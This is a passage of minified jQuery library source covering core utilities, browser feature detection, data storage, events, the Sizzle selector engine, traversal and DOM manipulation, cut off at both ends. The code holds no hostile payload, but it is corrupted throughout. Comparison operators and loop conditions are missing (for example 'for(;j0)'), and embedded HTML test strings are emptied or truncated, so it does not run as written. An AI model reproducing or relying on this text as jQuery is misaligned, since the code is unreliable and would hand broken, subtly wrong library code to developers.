":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(F.apply(this,arguments),"slice",F.call(arguments).join(","))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j0)return;A.fireWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").off("ready")}},bindReady:function(){if(!A){A=e.Callbacks("once memory");if(c.readyState==="complete")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",B,!1),a.addEventListener("load",e.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",B),a.attachEvent("onload",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&J()}}},isFunction:function(a){return e.type(a)==="function"},isArray:Array.isArray||function(a){return e.type(a)==="array"},isWindow:function(a){return a&&typeof a=="object"&&"setInterval"in a},isNumeric:function(a){return!isNaN(parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!="string"||!b)return null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,"@").replace(p,"]").replace(q,"")))return(new Function("return "+b))();e.error("Invalid JSON: "+b)},parseXML:function(c){var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,"text/xml")):(d=new ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName("parsererror").length)&&e.error("Invalid XML: "+c);return d},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,"ms-").replace(v,x)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length>1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d>1){for(;c
a",d=q.getElementsByTagName("*"),e=q.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};g=c.createElement("select"),h=g.appendChild(c.createElement("option")),i=q.getElementsByTagName("input")[0],b={leadingWhitespace:q.firstChild.nodeType===3,tbody:!q.getElementsByTagName("tbody").length,htmlSerialize:!!q.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value==="on",optSelected:h.selected,getSetAttribute:q.className!=="t",enctype:!!c.createElement("form").enctype,html5Clone:c.createElement("nav").cloneNode(!0).outerHTML!=="<:nav>",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0},i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete q.test}catch(s){b.deleteExpando=!1}!q.addEventListener&&q.attachEvent&&q.fireEvent&&(q.attachEvent("onclick",function(){b.noCloneEvent=!1}),q.cloneNode(!0).fireEvent("onclick")),i=c.createElement("input"),i.value="t",i.setAttribute("type","radio"),b.radioValue=i.value==="t",i.setAttribute("checked","checked"),q.appendChild(i),k=c.createDocumentFragment(),k.appendChild(q.lastChild),b.checkClone=k.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,k.removeChild(i),k.appendChild(q),q.innerHTML="",a.getComputedStyle&&(j=c.createElement("div"),j.style.width="0",j.style.marginRight="0",q.style.width="2px",q.appendChild(j),b.reliableMarginRight=(parseInt((a.getComputedStyle(j,null)||{marginRight:0}).marginRight,10)||0)===0);if(q.attachEvent)for(o in{submit:1,change:1,focusin:1})n="on"+o,p=n in q,p||(q.setAttribute(n,"return;"),p=typeof q[n]=="function"),b[o+"Bubbles"]=p;k.removeChild(q),k=g=h=j=q=i=null,f(function(){var a,d,e,g,h,i,j,k,m,n,o,r=c.getElementsByTagName("body")[0];!r||(j=1,k="position:absolute;top:0;left:0;width:1px;height:1px;margin:0;",m="visibility:hidden;border:0;",n="style='"+k+"border:5px solid #000;padding:0;'",o="
"+""+"
",a=c.createElement("div"),a.style.cssText=m+"width:0;height:0;position:static;top:0;margin-top:"+j+"px",r.insertBefore(a,r.firstChild),q=c.createElement("div"),a.appendChild(q),q.innerHTML="
t
",l=q.getElementsByTagName("td"),p=l[0].offsetHeight===0,l[0].style.display="",l[1].style.display="none",b.reliableHiddenOffsets=p&&l[0].offsetHeight===0,q.innerHTML="",q.style.width=q.style.paddingLeft="1px",f.boxModel=b.boxModel=q.offsetWidth===2,typeof q.style.zoom!="undefined"&&(q.style.display="inline",q.style.zoom=1,b.inlineBlockNeedsLayout=q.offsetWidth===2,q.style.display="",q.innerHTML="
",b.shrinkWrapBlocks=q.offsetWidth!==2),q.style.cssText=k+m,q.innerHTML=o,d=q.firstChild,e=d.firstChild,h=d.nextSibling.firstChild.firstChild,i={doesNotAddBorder:e.offsetTop!==5,doesAddBorderForTableAndCells:h.offsetTop===5},e.style.position="fixed",e.style.top="20px",i.fixedPosition=e.offsetTop===20||e.offsetTop===15,e.style.position=e.style.top="",d.style.overflow="hidden",d.style.position="relative",i.subtractsBorderForOverflowNotVisible=e.offsetTop===-5,i.doesNotIncludeMarginInBodyOffset=r.offsetTop!==j,r.removeChild(a),q=a=null,f.extend(b,i))});return b}();var j=/^(?:\{.*\}|\[.*\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c=="string",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]&&j,o=c==="events";if((!n||!m[n]||!o&&!e&&!m[n].data)&&k&&d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c=="object"||typeof c=="function")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b&&(h[f.camelCase(c)]=d);if(o&&!h[c])return g.events;k?(i=h[c],i==null&&(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(" ")));for(e=0,g=b.length;e-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h="":typeof h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return a==null?"":a+""})),c=f.valHooks[this.nodeName.toLowerCase()]||f.valHooks[this.type];if(!c||!("set"in c)||c.set(this,h,"value")===b)this.value=h}})}if(g){c=f.valHooks[g.nodeName.toLowerCase()]||f.valHooks[g.type];if(c&&"get"in c&&(d=c.get(g,"value"))!==b)return d;d=g.value;return typeof d=="string"?d.replace(q,""):d==null?"":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type==="select-one";if(g<0)return null;c=j?g:0,d=j?g+1:i.length;for(;c=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var g,h,i,j=a.nodeType;if(!!a&&j!==3&&j!==8&&j!==2){if(e&&c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute=="undefined")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i&&(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h&&"set"in h&&i&&(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,""+d);return d}if(h&&"get"in h&&i&&(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h=0;if(b&&a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;h=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\.]*)?(?:\.(.+))?$/,B=/\bhover(\.\S+)?\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/,G=function(a){var b=F.exec(a);b&&(b[1]=(b[1]||"").toLowerCase(),b[3]=b[3]&&new RegExp("(?:^|\\s)"+b[3]+"(?:\\s|$)"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])&&(!b[2]||(c.id||{}).value===b[2])&&(!b[3]||b[3].test((c["class"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,"mouseenter$1 mouseleave$1")}; +f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler&&(p=d,d=p.handler),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(" ");for(k=0;k=0&&(h=h.slice(0,-1),k=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])&&!f.event.global[h])return;c=typeof c=="object"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join("."),c.namespace_re=c.namespace?new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)"):null,o=h.indexOf(":")<0?"on"+h:"";if(!e){j=f.cache;for(l in j)j[l].events&&j[l].events[h]&&f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger&&p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g&&!p.noBubble&&!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n&&n===e.ownerDocument&&r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;le&&i.push({elem:this,matches:d.slice(e)});for(j=0;j0?this.on(b,null,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0),C.test(b)&&(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)&&(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d="sizcache"+(Math.random()+"").replace(".",""),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\/g,k=/\r\n/g,l=/\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!="string")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(""),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length>1&&p.exec(b))if(w.length===2&&o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]&&(b+=w.shift()),j=y(b,j,f)}else{!f&&w.length>1&&d.nodeType===9&&!v&&o.match.ID.test(w[0])&&!o.match.ID.test(w[w.length-1])&&(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1&&(w[0]==="~"||w[0]==="+")&&d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length>0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q="",r==null&&(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)==="[object Array]")if(!u)e.push.apply(e,k);else if(d&&d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]&&(k[t]===!0||k[t].nodeType===1&&m.contains(d,k[t]))&&e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]&&k[t].nodeType===1&&e.push(j[t]);else s(k,e);l&&(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e":function(a,b){var c,d=typeof b=="string",e=0,f=a.length;if(d&&!l.test(b)){b=b.toLowerCase();for(;e=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,"")},TAG:function(a,b){return a[1].replace(j,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,"");!f&&o.attrMap[g]&&(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(j,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute("type"),c=a.type;return a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return bc[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||n([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||!!a.nodeName&&a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":!f&&m.attr?d!=null:f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return"\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\[]*\])(?![^\(]*\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\r|\n)*?)/.source+o.match[r].source.replace(/\\(\d+)/g,q));var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var c=0,d=b||[];if(g.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length=="number")for(var e=a.length;c",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(o.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(o.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="",a.firstChild&&typeof a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(o.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=m,b=c.createElement("div"),d="__sizzle__";b.innerHTML="

";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){m=function(b,e,f,g){e=e||c;if(!g&&!m.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]&&o.find.CLASS&&e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return s([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var k=e,l=e.getAttribute("id"),n=l||d,p=e.parentNode,q=/^\s*[+~]/.test(b);l?n=n.replace(/'/g,"\\$&"):e.setAttribute("id",n),q&&p&&(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll("[id='"+n+"'] "+b),f)}catch(r){}finally{l||k.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)&&!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length>0}}}(),function(){var a=c.createElement("div");a.innerHTML="
";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;o.order.splice(1,0,"CLASS"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var y=function(a,b,c){var d,e=[],f="",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,"");a=o.relative[a]?a+"*":a;for(var h=0,i=g.length;h0)for(h=g;h=0:f.filter(a,this).length>0:this.filter(a).length>0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h=1;while(g&&g.ownerDocument&&g!==b){for(d=0;d-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a)return this[0]&&this[0].parentNode?this.prevAll().length:-1;if(typeof a=="string")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return f.dir(a,"parentNode",c)},next:function(a){return f.nth(a,2,"nextSibling")},prev:function(a){return f.nth(a,2,"previousSibling")},nextAll:function(a){return f.dir(a,"nextSibling")},prevAll:function(a){return f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return f.dir(a,"previousSibling",c)},siblings:function(a){return f.sibling(a.parentNode.firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d&&typeof d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!R[a]?f.unique(e):e,(this.length>1||N.test(d))&&M.test(a)&&(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var V="abbr|article|aside|audio|canvas|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",W=/ jQuery\d+="(?:\d+|null)"/g,X=/^\s+/,Y=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,Z=/<([\w:]+)/,$=/",""],legend:[1,"
","
"],thead:[1,"","
"],tr:[2,"","
"],td:[3,"","
"],col:[2,"","
"],area:[1,"",""],_default:[0,"",""]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,"div
","
"]),f.fn.extend({text:function(a){if(f.isFunction(a))return this.each(function(b){var c=f(this);c.text(a.call(this,b,c.text()))});if(typeof a!="object"&&a!==b)return this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a));return f.text(this)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f.clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return this},empty:function() +{for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){if(a===b)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(W,""):null;if(typeof a=="string"&&!ba.test(a)&&(f.support.leadingWhitespace||!X.test(a))&&!bg[(Z.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Y,"<$1>");try{for(var c=0,d=this.length;c1&&l0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d,e,g,h=f.support.html5Clone||!bc.test("<"+a.nodeName)?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]&&bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g;b=b||c,typeof b.createElement=="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);var h=[],i;for(var j=0,k;(k=a[j])!=null;j++){typeof k=="number"&&(k+="");if(!k)continue;if(typeof k=="string")if(!_.test(k))k=b.createTextNode(k);else{k=k.replace(Y,"<$1>");var l=(Z.exec(k)||["",""])[1].toLowerCase(),m=bg[l]||bg._default,n=m[0],o=b.createElement("div");b===c?bh.appendChild(o):U(b).appendChild(o),o.innerHTML=m[1]+k+m[2];while(n--)o=o.lastChild;if(!f.support.tbody){var 